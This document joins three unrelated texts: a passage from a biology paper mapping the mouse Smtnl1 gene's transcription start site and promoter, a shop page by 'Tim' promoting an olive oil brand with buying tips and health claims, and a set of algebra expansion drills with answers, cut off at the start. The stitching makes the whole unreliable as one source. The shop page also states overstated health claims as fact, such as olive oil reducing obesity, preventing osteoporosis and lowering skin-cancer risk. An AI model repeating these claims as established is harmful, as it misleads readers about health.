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The 5\'-RACE PCR on smooth muscle (Figure [2A](#F2){ref-type="fig"}) and skeletal muscle (Figure [2B](#F2){ref-type="fig"}) total RNA produced low (\< 250 bp) molecular weight cross-dimer products between the GSP and 5\'-RACE UPM primers (as verified by sequencing). When skeletal muscle mRNA was used as template together with primer GSP1, a faint band was visible at approximately 1.5-kb that was close to the expected product size (Figure [2B](#F2){ref-type="fig"}). To increase specificity and sensitivity, a second round of PCR was performed using nested primers on the products from the 5\'-RACE PCR. The expected amplicon sizes with the NCBI-predicted TSS were 63 bp for NGSP1 and 823 bp for NGSP2. A strong band of approximately 700 bp was observed for nested PCR reactions completed on both smooth and skeletal muscle GSP1 PCR products (Figure [2A](#F2){ref-type="fig"} &[2B](#F2){ref-type="fig"}), somewhat smaller than the expected 823 bp product for the NGSP2 primer. Sequence analysis revealed a partial alignment of the 823 bp NGSP2 product with *Smtnl1*, starting within exon 1.
{#F2}
The 5\' end of the product was 119 bp shorter than expected from the NCBI-predicted TSS. To further validate the TSS identified with 5\'-RACE, ribonuclease protection assays (RPA) were performed. A ssRNA riboprobe (511 nt) was generated to span both the NCBI-predicted and 5\'-RACE-derived TSS. A protected fragment of 369 bp was expected for the NCBI-predicted TSS whereas a 231 bp fragment was expected for the newly derived TSS. As shown in Figure [2C](#F2){ref-type="fig"}, RPA was completed with smooth and skeletal muscle mRNA and biotin-18-UTP-labeled riboprobe. As expected, the full-length probe was detected near the 500 bp marker. A protected fragment slightly larger than 200 bp was detected in the RPA with the addition of skeletal muscle mRNA. This result further confirms the TSS location to be different from that annotated in the NCBI database, occurring less than 50 nt upstream of the translational start codon. No protected fragment was detected when yeast RNA (control) or smooth muscle RNA was used in the RPA. The latter result was likely due to lack of sensitivity of the RPA conditions for low abundance mRNAs.
Analysis of the sequence located upstream of the start codon (ATG) in murine *Smtnl1*indicated the presence of an initiator (Inr) sequence and a TATA box (Figure [2D](#F2){ref-type="fig"}). Therefore, our experimentally mapped *Smtnl1*TSS corresponded to a thymidine within the Inr sequence (CTAGAAC, where the T was the first transcribed nucleotide) and was located 44 nt upstream of the translational start codon. The putative TATA box sequence was identified at -23 to -31 nt upstream of the new TSS. Further sequence analysis showed that the Inr and TATA sequences of *Smtnl1*are conserved within a variety of mammalian *Smtnl1*genes.
The expression profile of *Smtnl1*differs from the other smoothelin (Smtn) family members that are exclusively expressed in differentiated smooth muscle cells. The *Smtnl1*promoter was expected to be different since the smoothelins are not expressed in any tissue but smooth muscle cells. Indeed, the promoter sequences of smoothelins and *Smtnl1*do not bear any resemblance to each other, despite some similarities in the protein-coding region (mainly within the C-terminal calponin homology domain). The SMTN-A and SMTN-B isoforms of the *Smtn*gene are generated by alternative transcriptional start sites \[[@B11]\] that provide selective expression of each isoform in visceral and vascular smooth muscle beds, respectively. Moreover, alternative splicing produces three different C-terminal variants of each SMTN isoform \[[@B15]\]. It is unlikely that multiple SMTNL1 isoforms exist since a single *Smtnl1*TSS was identified from both skeletal and intestinal smooth muscle total RNA with sequencing of several 5\'-RACE clones. All sequences commenced at a thymine located 44 nt upstream of the translational start site (ATG). However, we have not yet completed 5\'-RACE on *Smtnl1*transcripts isolated from vascular tissue. Furthermore, we cannot exclude the presence of multiple C-terminal splice variants since we did not complete 3\'-RACE analysis.
SMTNL1 promoter reporter assay
------------------------------
To locate *cis*-elements in the core promoter region that modulate expression of *Smtnl1*, we constructed deletion mutants of the *Smtnl1*upstream sequence and monitored *Gaussia*luciferase reporter activities in rat aortic A7r5 smooth muscle cells. Promoter sequences were generated spanning up to 2.7-kb upstream of the newly derived *Smtnl1*TSS and cloned into a promoterless pGLuc luciferase vector. Figure [3A](#F3){ref-type="fig"} shows the relative luciferase activity using progressively shorter promoter constructs. A 3.5-fold induction was observed for the upstream region spanning +100 to -2759. Deletion of the region from -1637 to -1869 increased the luciferase induction to 8.5-fold while removal of the sequence from -468 to -1637 elicited no further effect. The minimal sequence establishing the proximal promoter (0 to -118) provided a 7-fold luciferase induction. Finally, the first 100 bases downstream of the new TSS had no activity. These data reveal two regions of promoter sequence that functioned as enhancer elements, -218 to -468 and 0 to -118. Furthermore, two inhibitory elements were also defined, -1637 to -1869 and -118 to -218. These results demonstrate that the first 118 bp upstream of the *Smtnl1*TSS could significantly enhance luciferase production, suggesting that the core promoter was located in this region. Importantly, the region of the core promoter did not include the TSS previously annotated in NCBI. Our data confirms that the region immediately upstream of the NCBI-annotated TSS could not enhance expression, which further verifies our newly identified TSS downstream of the NCBI-annotated TSS. We further investigated the sequence of the first 118 bp upstream of the TSS for possible promoter elements. A TTAAA motif, 31 nt upstream of the TSS, was 100% conserved amongst all the mammalian *Smtnl1*promoters investigated and is predicted to serve as a TATA-box. We were unable to identify a CAAT element.
{#F3}
The promoter region just upstream and including the TSS is highly conserved in mammals, emphasizing its importance. The TSS of some mammals is not annotated in this region, and this might be due to difficulties in identifying 5\'-UTRs within the corresponding ESTs. Further corroborating this possibility was the distance between the TSS (equivalent to murine exon 1) and the translational start-site (ATG) in murine exon 2. In all mammals, this distance was similarly expansive (e.g., 3400 bp (dog) to 5200 bp (cow)). We propose that all mammals investigated have a TSS located downstream of the conserved region, similar to the murine promoter. This would add an additional 5\'-UTR exon 1 to human, rat and horse *Smtnl1*.
We also investigated whether the pattern of luciferase inductions observed with the *Smtnl1*promoter sequences resulted from a specific set of transcription factors unique to A7r5 smooth muscle cells. For this, the activities of three *Smtnl1*promoter constructs were also assessed in HEK 293 (human embryonic kidney) and Rat-1 (rat fibroblast) cell lines (Figure [3B](#F3){ref-type="fig"}). The same pattern of luciferase induction was seen in these cell lines; however, the maximal activation measured was only 3-fold, a significant reduction when compared to the maximal activity found in A7r5 smooth muscle cells. The identified *cis*-acting promoter spanned at least 1869 bp and could up- or down-regulate expression in A7r5, Rat-1 and HEK 293 cells, depending on which region was present. However, the much higher maximum activation in smooth muscle cells compared to fibroblast and kidney cells suggests restrictive control of *Smtnl1*expression in non-muscle cells and emphasizes the importance of SMTNL1 expression in muscle contractile function.
In silico analysis of putative transcription factor binding sites within Smtnl1
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A comparison of TSS sites in various mammalian *Smtnl1*genes was undertaken, and BLAST searches revealed that exon 1 is not translated and the murine ATG start codon is located at the beginning of exon 2. In the case of some mammals (i.e., human, rat and horse), the *Smtnl1*gene starts with the ATG in exon 1 and is analogous to murine exon 2. Further investigation of these *Smtnl1*variants revealed the location of a genomic region that has not been annotated. This region lays several thousand bases upstream with high similarity to the murine exon 1. Comparison of various mammalian SMTNL1 protein sequences revealed the highest conservation at the N- and C-termini (aa 1 - 17 as well as aa 209 - 459). Thus, it is not surprising that, based on protein sequence and gene sequence alignment, the exon including the start codon was annotated in all mammals while the upstream exon 1 was sometimes not annotated. In agreement with the observation that exon 1 is often located far upstream of exon 2, there is approximately 3000 to 4000 bp separating the conserved region corresponding to the mouse 5\'-UTR and the ATG start codon of *Smtnl1*from various mammalian species (Figure [4A](#F4){ref-type="fig"}). Based on these findings, it is reasonable to predict that the human *Smtnl1*TSS lies upstream of the region homolog to murine *smtnl1*exon 1, even though it remains to be annotated. Indeed, the region just upstream of the murine TSS is highly conserved in mammals, with \> 75% percent identity (Figure [4A](#F4){ref-type="fig"}).
{#F4}
The highest conservation in the murine *Smtnl1*5\'-UTR sequence was located between -80 bp and -220 bp relative to the newly derived TSS, suggesting functional importance. Indeed, the region corresponds in part to the strongly activating construct determined with the luciferase reporter assay (i.e., +100 to -118). We searched for transcription factor binding sites (TFBS) in this region using the PATCH program that utilizes the TRANSFAC^®^database of *cis*-acting transcription factors \[[@B16],[@B17]\]. Possible mammalian TFBSs in this region include AP2α, SF-1, RXRα, SP1, ER and c-myc amongst others (Figure [4B](#F4){ref-type="fig"}). Intriguingly, this region of the *Smtnl1*promoter also possesses a putative TFBS for MyoD (myogenic differentiation-1), a transcriptional activator of muscle-specific genes \[[@B18]\], located 190 bp upstream of the TSS. MyoD shows highest transcriptional activation when dimerized with another MyoD or other family members (e.g., Sp1, Mef2 and Pbx) \[[@B19],[@B20]\]. Indeed, possible non-canonical sites for MyoD as well as Sp1 are located adjacent to the primary MyoD site in the *Smtnl1*promoter. Thus, regulation of *Smtnl1*expression via MyoD would explain the robust expression found in skeletal muscle when compared to other tissues. We completed EMSAs with nuclear extracts from mouse skeletal muscle and DNA probes derived from the MyoD site in the *Smtnl1*promoter (Figure [5A](#F5){ref-type="fig"}). Gel shifts were suggestive of protein binding to the *Smtnl1*MyoD sequence and could be inhibited with addition of excess unlabelled probe as a competitive inhibitor. Moreover, EMSAs completed in the presence of MyoD antibody exhibited a defined \"supershifting\" band.
![**EMSAs of the putative MyoD-binding and mirror repeat sequence in the murine *Smtnl1*promoter**. \[γ-^32^P\]-labeled oligonucleotide probes (3 pmol) were incubated with nuclear extracts isolated from murine skeletal muscle (for MyoD, in **A**) or A7r5 and HEK293 cells (for mirror repeat sequence (MRS), in **B**). In some experiments, 200-fold excess unlabeled competitors were added prior to incubation with ^32^P-labeled probes. For supershift analysis, anti-MyoD antibody (1 μg) was introduced with nuclear extracts following the addition of labeled probe. Results are representative of n = 3 independent experiments.](1471-2199-12-10-5){#F5}
The highest density of putative TFBSs lay within the sequence GAAGGTGGGGTGGGGTGGAAG of *Smtnl1*that forms a 20 bp mirror-repeat sequence (MRS). Mirror repeats are commonly associated with the formation of an intramolecular triple-helical conformation termed H-DNA \[[@B21],[@B22]\]. Many promoters, especially those integral to genes involved in growth regulation, have H-DNA forming mirror repeats. The *Smtnl1*MRS lies within a region of high transcriptional activation as determined by luciferase reporter assay, and it is possible that this region is of paramount importance for *Smtnl1*expression. EMSAs completed with MRS oligonucleotide probes and nuclear extracts from A7r5 cells demonstrated a single intense band (Figure [5B](#F5){ref-type="fig"}). This binding pattern was significantly altered when nuclear extracts from HEK293 cells were used; in this case, multiple bands were observed. The results are suggestive of transcription factor binding to the MRS; however, more in depth investigation will be required to identify the specific proteins involved.
Other transcription factors are of interest based on their function and our knowledge of SMTNL1. Putative binding sites for the nuclear hormone receptor steroidogenic factor-1 (SF-1) as well as estrogen receptor (ER) are present. These receptors might be responsible for the observed differences in *Smtnl1*expression during sexual development in males \[[@B3]\] as well as during pregnancy in females \[[@B4]\]. RXRα (retinoid × receptor alpha) modulates the actions of other hormone receptors and plays a role in myogenesis. RXRα is also responsible for the activation of MyoD and deficiency in RXRα causes defects in skeletal muscle development \[[@B23]\]. Furthermore, RXRα is a binding partner for PPAR (peroxisome proliferator-activated receptor) transcription factors \[[@B24]\]. In turn, PPARγ regulates endurance-exercise induced fiber type remodeling \[[@B25]\]. Since endurance-exercise caused up-regulation of *Smtnl1*, RXRα together with PPARγ might be the responsible factors. Notable is the absence of a consensus CC-A/T rich-GG (CArG) box, the binding site for serum response factor (SRF) that is present in smooth muscle restricted genes \[[@B26],[@B27]\]. This distinguishes *Smtnl1*from the related *Smtn*genes and is further manifested by the expression of Smtnl1 in skeletal muscle \[[@B3]\]. Of the numerous transcription factors predicted to bind to the proximal promoter, several could be responsible for the adaptive expression of *Smtnl1*after endurance-exercise, pregnancy and sexual development in smooth and skeletal muscle. This will be subject to further research.
Conclusions
===========
In the present study, we identified *Smtnl1*expression in all types of smooth muscle tissue (e.g., phasic and tonic; vascular and visceral) examined, albeit at lower levels than found in skeletal muscle. Current evidence supports a key role for SMTNL1 in adaptive responses to physiological stresses (e.g., pregnancy, exercise and sepsis). Therefore, defining key elements of the murine *Smtnl1*gene will enable better understanding of mechanisms for smooth and skeletal muscle contractile plasticity in response to physiological stresses.
Methods
=======
RNA samples and cell culture
----------------------------
Mouse total skeletal muscle RNA and mouse total smooth muscle RNA (from small intestine) were purchased from Clontech Laboratories (Mountain View, CA). Rat aortic smooth muscle (A7r5, \[ATCC:CRL-1444\]), human embryonic kidney (HEK 293, \[ATCC:CRL-1573\]) and rodent fibroblast (Rat 1, \[ATCC:CRL-2210\]) cells were maintained in Dulbecco\'s Modified Eagle Medium (DMEM) supplemented with 10% fetal bovine serum (FBS) in a humidified tissue culture incubator at 37°C with 5% CO~2~. DMEM and FBS were purchased from Invitrogen (Carlsbad, CA).
Reverse transcription Polymerase Chain Reaction (RT-PCR)
--------------------------------------------------------
For all RT-PCR reactions, the \'standard PCR\' kit from Fermentas (Glen Burnie, MD) was used. All reactions were carried out using a thermal cycler (Eppendorf Mastercycler; Westbury, NY). Skeletal muscle as well as aorta, ileum and colonic smooth muscle tissues were removed from male mice (C57Bl/6) that had been anesthesized and euthanized according to protocols approved by the University of Calgary Animal Care and Use Committee. Total RNA and mRNA were extracted using the RNeasy Mini kit (Qiagen) or Ambion Micro Poly(A) Pure extraction kit, respectively. First strand cDNA was synthesized using the Sensiscript RT kit (Qiagen). For the PCR amplification, Phusion Taq DNA polymerase (New England Biolabs) was used with the gene-specific primers mSmtnl1-F1, mSmtnl1-R1, mSmtnl1-nested-F1 and mSmtnl1-nested-R1. The primer sequences are noted in Supplementary Table [1](#T1){ref-type="table"}. Primers were selected to be unique to *Smtnl1*mRNA and did not occur within the transcripts of the other smoothelin family members. The nested-RT-PCR reactions were used because they offer increased specificity and sensitivity. RT-PCR reactions for GAPDH were performed on all RNA samples to verify the integrity of the RNA.
Northern Blot
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Mouse *Smtnl1*cDNA (1 - 1038 bp) was radiolabeled with \[α^32^P\]-dCTP by the random-priming method using a PrimeIt II Random Primer Labeling kit (Stratagene). Unincorporated nucleotide was removed with a NucAway Spin Column (Ambion). A multiple tissue Northern blot that contained poly(A)+ RNA from a variety of human tissues was purchased from Clontech. The poly(A)+ RNA membrane was prehybridized in ExpressHyb solution for 30 min at 68°C. Radiolabeled cDNA probe (\~5 × 10^6^cpm/mL) was denatured at 100°C for 2 min then rapidly chilled on ice. The membrane was incubated with the radiolabeled probe in 5 mL of fresh ExpressHyb with continuous shaking for 1 h at 68°C. Following hybridization, the blot was washed for 30 min at 23°C with 2× SSC (300 mM NaCl, 30 mM Na citrate, pH 7.0), 0.5% SDS (several washes) and twice for 20 min with 0.1× SSC (15 mM NaCl, 1.5 mM Na citrate, pH 7.0), 0.1% SDS at 50°C. The membrane was then subjected to autoradiography.
Rapid Amplification of 5\' cDNA ends (5\'-RACE)
-----------------------------------------------
The SMART RACE cDNA Amplification kit from Clontech Laboratories was used to amplify 5\'-cDNA ends of mouse smooth and skeletal muscle mRNA. First strand cDNA synthesis was carried out according to the manufacturer\'s instructions with mouse total RNAs (Clonetech, 1 μg) from intestinal smooth muscle or skeletal muscle, 5\' CDS primer A, SMART II A oligonucleotide and TITANIUM *Taq*DNA polymerase (Advantage 2 PCR System, Clontech). The 5\'-RACE PCR reaction was performed according to the manufacturer\'s protocol using Universal Primer A mix (UPM, forward primer) and one of three *Smtnl1*gene specific primers (GSP1-3; reverse primers). The procedure incorporates an additional 50 bp to the 5\'-end of the PCR product. To verify the RACE products, nested 5\'-RACE PCR was carried out using nested UPM (NUPM) forward primer and one of three nested *Smtnl1*gene specific reverse primers (NGSP1, NGSP2). The nested RACE products were separated on a 1% agarose gel, extracted and cloned into the TOPO-TA vector (Invitrogen, Carlsbad, CA). All nested RACE products were sequenced at the University of Calgary DNA core service.
Ribonuclease protection assay (RPA)
-----------------------------------
To verify the translation start site (TSS), RPA was performed on murine smooth and skeletal muscle mRNA. The template for the riboprobe was a chimera of murine genomic DNA, comprising the 5\'-UTR and exon 1 of the *Smtnl1*gene (-52 nt to + 160 nt relative to the NCBI-predicted TSS \[Gene ID: 68678\]) plus the 5\'-end of exon 2 taken from *Smtnl1*(+161 nt to +319 nt \[GenBank: [NM_024230.1](NM_024230.1)\]) and a T7 primer overhang. The template was generated using standard PCR methods: the BAC clone RP23-125A8 (Children\'s Hospital Oakland Research Institute, Oakland, CA) and primers RPA-NCS and RPA-NCA were used for the genomic portion, and the product of the 5\'-RACE together with primers RPA-M1-2 S and RPA-M1-2A was used as the mRNA part. A second PCR with primers RPA-FR1 and RPA-RT7 engineered the T7 promoter into the RPA-template. The riboprobe was synthesized using T7 DNA dependent RNA transcriptase (New England Biolabs, Ipswich, MA) according to the manufacturer\'s instructions. To label the riboprobe, biotin-18-UTP/UTP (1:5 ratio) was used in the reaction mix (Invitrogen). For the RPA, the RPA III kit (Ambion, Austin, TX) was used with 10 μg mRNA and 100 pg riboprobe. Briefly, murine mRNA and the riboprobe were hybridized to form dsRNA (40.5°C, overnight). Then, any remaining single-stranded mRNA and riboprobe were digested with RNase. The protected RNA was resolved by denaturing PAGE and transferred to a SensiBlot nylon membrane (Fermentas, Glen Burnie, MD). The remaining biotin-18-UTP-labeled riboprobe was detected using Ambion\'s Brightstar Biodetect kit according to the manufacturer\'s instructions.
Luciferase Assay
----------------
A luciferase reporter assay was used to investigate the putative *Smtnl1*promoter sites in the 5\'-flanking region. The *Smtnl1*gene and 5\'-flanking sequence spanning bp 84662089 to bp 84651332 of mouse chromosome 2 was obtained from BAC clone RP23-125A8. Different lengths of *Smtnl1*5\'-flanking DNA were generated by PCR with the BAC plasmid as template and cloned into the pGLuc-Basic vector (New England Biolabs, Ipswich, MA). The antisense primer utilized for all constructs engineered a BamHI site at +100 bp downstream of the transcription start site identified by our previous 5\'-RACE/RPA analysis. Ten different sense primers were used, adding an EcoRI site for cloning into the pGLuc-Basic vector. All clones were verified by DNA sequencing. Using Metafectene-Pro (Biontex Laboratories, München, Germany) and following the manufacturer\'s protocols, we transiently transfected A7r5, HEK 293 or Rat-1 cells with pGLuc-Basic vectors (5 μg) containing the various *Smtnl1*promoter constructs and pbActb-gal vector (1 μg). The pbActb-gal vector expresses β-galactosidase under the constitutively active β-actin promoter and was a kind gift from Dr. J. Cross (University of Calgary). Twenty-four hours before transfection, cells were plated in 30-mm dishes to produce a density of \~80% confluence. At 48 hours post-transfection, the media was assayed for luciferase activity using the Gaussian Luciferase Assay kit (New England Biolabs) and cell lysates were assayed for β-galactosidase activity, in quadruplicate samples of three independent experiments. To account for differences in transfection efficiency, the luciferase activity was normalized to β-galactosidase activity and expressed as % change relative to the activity of empty pGLuc-Basic vector (defined as 100%). As a positive control, pGLuc-CMV was used in separate transfections.
Electrophoretic mobility shift assay (EMSA)
-------------------------------------------
DNA binding was assessed by EMSAs with standard procedures \[[@B28]\] using nuclear extracts prepared from A7r5 cells or mouse skeletal muscle tissue (hind-limb). Double-stranded oligonucleotide probes containing the mirror-repeat (MRS) and putative MyoD binding sequences located within the *Smtnl1*promoter region were synthesized (sense strands: MRS: 5\'-GAAGGTGGGGTGGGGTGGAAG-3\'; MyoD: 5\'-ATTGAAAGATGCCACCTGTCAGATCT-3\'). Each oligonucleotide was annealed to its complementary strand, end-labeled with \[γ-^32^P\]-ATP using T4 polynucleotide kinase and then purified with G-25 Sepharose mini-columns. Binding reactions were carried out in a mixture containing 1-15 μg nuclear extract proteins in 20 μL of binding buffer (10 mM Tris, 50 mM KCl, 1 mM DTT, 5% glycerol, pH 7.5). Radiolabeled, double-stranded oligonucleotide probe (3 pmol) was added, and mixtures were incubated at room temperature for 30 min prior to resolution on 5% non-denaturing polyacrylamide gels (1× TBE). The gels were then dried, and the radioactive bands were developed using a Storm phosphoimager (GE Healthcare). For competition experiments, unlabeled MyoD or MRS oligonucleotide competitor (200-fold excess) was added to the reaction mixture before incubation with the radiolabeled probe. For MyoD supershift assays, the reaction mixtures were incubated with 1 μg of anti-MyoD antibody prior to the addition of radiolabeled probe.
Bioinformatic promoter analysis
-------------------------------
The 5\'-UTR of the murine *Smtnl1*was searched against mammalian genomes using the BLAST algorithm. Regions with high alignment score (expectancy value E \< 10^-10^) were aligned using CLUSTALX and GeneDoc after visual inspection. All mammalian sequences aligning to the murine gene (i.e., bp 25704307 to 25703966 of the reverse strand of GenBank: [NT-039297.7](NT-039297.7); 197 bp upstream of the TSS defined by NCBI) were selected for further investigation. The sequence identity was approximately 54%. The region between +38 to -94 relative to the NCBI TSS (-79 to -211 of the newly defined TSS) was termed highly conserved with an identity of \>72% between all sequences. This region of highly conserved sequence was analyzed with the PATCH program for putative transcription factor binding sites based on the Transfac^®^database \[[@B16],[@B17]\].
List of Abbreviations
=====================
bp: base pair; cGMP: cyclic-guanidine monophosphate; DMEM: Dulbecco\'s Modified Eagle Medium; EMSA: electrophoretic mobility shift assay; FBS: fetal bovine serum; MRS: mirror repeat sequence; MyoD: myogenic differentiation-1; nt: nucleotide; PKA: protein kinase A; PKG: protein kinase G; 5\'-RACE: rapid amplification of 5\' cDNA ends; 3\'-RACE: rapid amplification of 3\' ends; RPA: ribonuclease protection assay; SMTN: smoothelin; SMTNL1: smoothelin-like 1; SRF: serum response factor; TFBS: transcription factor binding site; TSS: transcriptional start site; 5\'-UTR: 5\' untranslated region.
Authors\' contributions
=======================
AU-L carried out MyoD EMSAs and bioinformatic work, interpreted the data and drafted the manuscript. ST performed RT-PCR for Smtnl1 in mouse tissues. SM carried out 5\' RACE, RPA and luciferase assay analyses. RW contributed to the design of 5\'-RACE, RPA and nested RT-PCR experiments as well as the interpretation of the data. MB performed the northern blot. JM conceived and designed the study, interpreted the data and revised the manuscript for intellectual content. All authors read and approved the final manuscript.
Acknowledgements
================
This work was supported by research grants from the Canadian Institutes of Health Research (CIHR, MOP-72720) and the Heart and Stroke Foundation of Canada (HSFC). MB was recipient of a HSFC fellowship, and ST was recipient of an Alberta Innovates - Health Solutions (AIHS) Studentship. JM holds an AIHS Senior Scholar Award and Canada Research Chair in Smooth Muscle Pathophysiology.
|
Sarafino, the company that distributes the Olearia San Giorgio Olive Oil that we sell here at Cochran's, is a small importing and distribution company that deals only in natural and uncompromised artisanal products which are true to their origins.
We carry the internationally renowned Olearia San Giorgio Virgin and Extra Virgin Olive Oils and the new Organic Extra Virgin Olive Oil. Read all about the recent Gold Medals our Olive Oil took home.
These products are created on their own family estate.
"We have come to value traditional farming operations that offer personal responsibility for what they create. Our goal is to defend and promote such artisanal practices, and it is exclusively with these types of operations that we do business. We plan to continue on this path and build our reputation as an honest, hard working, genuine food provider with nothing to hide."- from the Sarafino website
We carry the Olearia San Giorgio line of Olive Oil because we follow the 9 Guidelines for buying Good Olive Oil and want to bring the best quality Olive Oil with the greatest health benefits to our customers.
Today, the oils of Olearia San Giorgio are present in the best national and international restaurants, wine cellars and specialized shops. They have recently received national and international awards and recognition for the quality of their oils. Read more about the Fazari family, who created the award winning Olearia San Giorgio company in Italy 74 years ago.Unfortunately, choosing a good Olive Oil is a very complex process and I would suggest doing some further reading. Check out more tips on buying great olive oil from Truth in Olive Oil.
And if you have any questions about authentic Olive Oil, I'd be happy to discuss this with you.Tim
Everyone always looks for the terms Extra Virgin. Unfortunately you cannot trust the term Extra Virgin until you follow the guidelines below:
The term ‘Cold Pressed’ is a marketing ploy. All modern olive oil production uses acentrifuge method not an actual pressing method so look for the words ‘cold or mechanically extracted’ instead.
Avoid the words “pure,” “natural” and “light” as they are misleading terms. However they do indicate that the oil has been chemically treated.
Look for “made in Italy.” Avoid “imported, packed or bottled.” Also, don’t be taken in by Italian flags and scenes from the Tuscan countryside on the packaging.
Look for a family or cooperative name and contact information. This means the oil is grown and produced from one family (or farm), not from a corporation that blends some olive oil with other cheaper seed oils.**
Olives are the only ingredient in olive oil and should be listed as such on the label as ‘cultivars’. This is similar to when you are purchasing wine and look for the grape varietal.
Look for a harvest date or best before date. Olive oil breaks downs. Avoid light, oxygen and heat. Keep in a cool, dark, dry place. Most oil producers give their product a maximum 2 year shelf life and bottle it in a dark bottle.
It takes 17-18 pounds of olives to produce one liter of olive oil. Think of how much it would cost you to purchase this many olives at your local supermarket olive bar, let alone all the labour, packaging and transportation needed to get the olive oil to you! Though high prices don’t guarantee great oil, low prices – under about $11 for a liter – strongly suggest that the oil you’re buying is inferior.
Most importantly is taste. There are 700 varieties of olives and with every years’ harvest, the taste of olives will vary. Like wine, there are many different factors that determine the taste of olive oil. Good olive oil should be slightly bitter, pungent and peppery. These are usually indicators of the presence of healthful antioxidants, anti-inflammatories and other healthful “minor components.” Also, avoid oils that have no flavor.
After identifying all of the above, you can then look for Extra Virgin or Virgin.
Extra Virgin is the highest quality of olive oil - it has a free acidity, expressed as oleic acid, of no more than 0.8 grams per 100 grams (0.8%). Extra virgin olive oil accounts for less than 10% of oil in many producing countries. This oil is typically derived from an unripe olive.
Virgin olive oil which has a free acidity, expressed as oleic acid, of not more than 2 grams per 100 grams (2.0%). These olives are more mature and offer more of a sweeter, full bodied taste.
This is a very complex subject and I would suggest doing some further reading.
We carry Olearia San Giorgio Olive Oil products here at Cochran's.
Tim
**Most commonly, it seems, extra virgin oil is mixed with a lower grade olive oil, often not from the same country. Sometimes, another vegetable oil such as colza or canola is used. The resulting blend is then chemically coloured, flavoured and deodorised, and sold as extra-virgin to a producer.
So, after last week’s newsletter on how to select good or “real” olive oil, I would like to give a brief overview of its health benefits. This is a big subject and I am not an expert. This overview is meant as a starting point. Please do your own follow up reading and research. There appears to be a lot of conclusive finding as well as some speculative conclusions.
Traditionally a low fat diet has been prescribed to prevent various diseases such as heart disease and diabetes. While studies have shown that high fat diets may increase the risk of certain diseases such as cancer and diabetes, it appears that it is the typeof fat that counts rather than the amount of fat. Fat is essential to your health because it supports a number of your body’s functions such as cell growth, the regulation of your body temperature, nutrient absorption, energy levels & the production of important hormones. We need fats in our diet. The key is to focus on eating the healthy fats and avoid the unhealthy fats.
Many experts and nutritionists agree that a diet rich in monounsaturated fats such as the ones found in olive oil, nuts and seeds bolsters the immune system, protects against viruses and actually protects from many chronic diseases.
Cancer: The phytonutrient in olive oil, oleocanthal, mimics the effect of ibuprofen in reducing inflammation, which can decrease the risk of breast cancer and its recurrence. Squalene and lignans are among the other olive oil components being studied for their possible effects on cancer.
Oxidative Stress: Olive oil is rich in antioxidants, especially vitamin E, long thought to minimize cancer risk. Among plant oils, olive oil is the highest in monounsaturated fat, which doesn’t oxidize in the body, and its low in polyunsaturated fat, the kind that does oxidize.
Blood Pressure: Recent studies indicate that regular consumption of olive oil can help decrease both systolic and diastolic blood pressure.
Diabetes: Most popular research agrees that a” Mediterranean style” diet rich in olive oil , low in saturated fats, moderately rich in carbohydrates and high in soluble fiber from fruits, vegetables and grains is the most effective approach for diabetes. This diet reduces the risk of type II diabetes by almost 50 percent compared to a low fat diet. (Type II diabetes is the most common and preventable form of diabetes). Olive oil helps lower “bad” low-density lipoproteins while improving blood sugar control and enhances insulin sensitivity.
Obesity: Although high in calories, olive oil has shown to help reduce levels of obesity, as long as they are used in moderation. Choose monounsaturated rich foods such as olive oil in place of other fatty foods (particularly butter and margarine) — not in addition to them. And remember that you can't make unhealthy foods healthier simply by adding olive oil to them.
Rheumatoid Arthritis: Although the reasons are still not fully clear, recent studies have proved that people with diets containing high levels of olive oil are less likely to develop rheumatoid arthritis.
Osteoporosis: A high consumption of olive oil appears to improve bone mineralization and calcification. It helps calcium absorption and so plays an important role in aiding sufferers and in preventing the onset of Osteoporosis.
Other studies indicate that olive oil consumption can minimize depression, risk of stroke and the hardening of the arteries as you get older and even skin cancer. Olive oil has many positive health benefits. But like most “super foods” it is only one part of a healthy diet and life style.
Again, this is only a brief overview. There is a ton of good information out there….continue reading on this subject.
Tim*Information from the Mayoclinic.org., Sarafino.com and Oliveoiltimes.com |
6*w**2
Expand (0 + 2*q + 0)*(-6 + 12 + 11) + 185*q - 87*q - 314*q.
-182*q
Expand (8788*s - 180 - 11 - 273 - 8786*s)*(-5*s + 3*s + s).
-2*s**2 + 464*s
Expand (2*m - 2*m**2 - 2*m)*(-16219*m**2 + 26*m**3 - 57*m**3 + 2504*m**2 + 29*m**3).
4*m**5 + 27430*m**4
Expand x - x + 2*x**3 + 0*x**3 - 2*x - 5*x**3 + 2*x**3 + 2 + 14*x**3 + 11*x + 6*x - 18*x + (0*x + x + x)*(19*x**2 - 34*x + 34*x).
51*x**3 - 3*x + 2
Expand (170 + 508 + 115 - 20)*(-4*q**4 + 4*q**4 - 6*q**4).
-4638*q**4
Expand (-o + 3*o - o)*(-7*o + 14*o - o) + 134*o + 0*o**2 - 114*o - 1 + 6*o**2.
12*o**2 + 20*o - 1
Expand 566 + 591 - 1155 + 15*m - 5*m + 3*m + m + (3*m - 3*m - 2*m)*(-2 + 3 + 1).
10*m + 2
Expand 2*z**2 - 3*z**2 - 58*z**5 + 57*z**5 + (-14*z**2 + 2*z**3 + 14*z**2)*(2*z**2 + 0*z + 0*z).
3*z**5 - z**2
Expand (0 + n**2 + 0)*(-1363*n**3 + 6079*n**3 + 4726*n**3).
9442*n**5
Expand ((4 + 2 - 5)*(-3 + 2 - 1) - 2 - 4 + 27)*(-22*r**2 - 26*r**2 + 43*r**2).
-95*r**2
Expand (-c**3 + 4*c**3 - 2*c**3)*(-2*c + 0*c - c) - 108*c**4 - 336*c**4 + 665*c**4 - 3*c**4 + 6*c**4 - 4*c**4.
217*c**4
Expand (-v + 3*v - 3*v)*(-27*v**3 - 5*v - 9*v + 13*v + (-v**2 - v + v)*(3*v - v - 3*v) + 18*v**3 + 3*v**2 - 3*v**2 - v**3 - 7*v + 7*v).
9*v**4 + v**2
Expand (-65 - 564 - 349)*(-2*d - 2*d + d).
2934*d
Expand 2*c - 6*c + 2*c + (-149 - 240 - 208)*(-2 + c + 0*c - 1).
-599*c + 1791
Expand (r**2 + 0*r**2 - 2*r**2)*(-11*r - 337 + 109 + 178 + (5*r - 4*r - 2*r)*(2 + 0 - 4)).
9*r**3 + 50*r**2
Expand (-4 + 4 - 2*r)*(-4 - 3 + 5) + (31 + 14 + 13)*(11*r + 2*r - 9*r) + 0*r - 7*r + r.
230*r
Expand (33 + 17 - 18 + (3 + 4 - 5)*(3 - 5 + 0))*(-61 - n**2 + 61).
-28*n**2
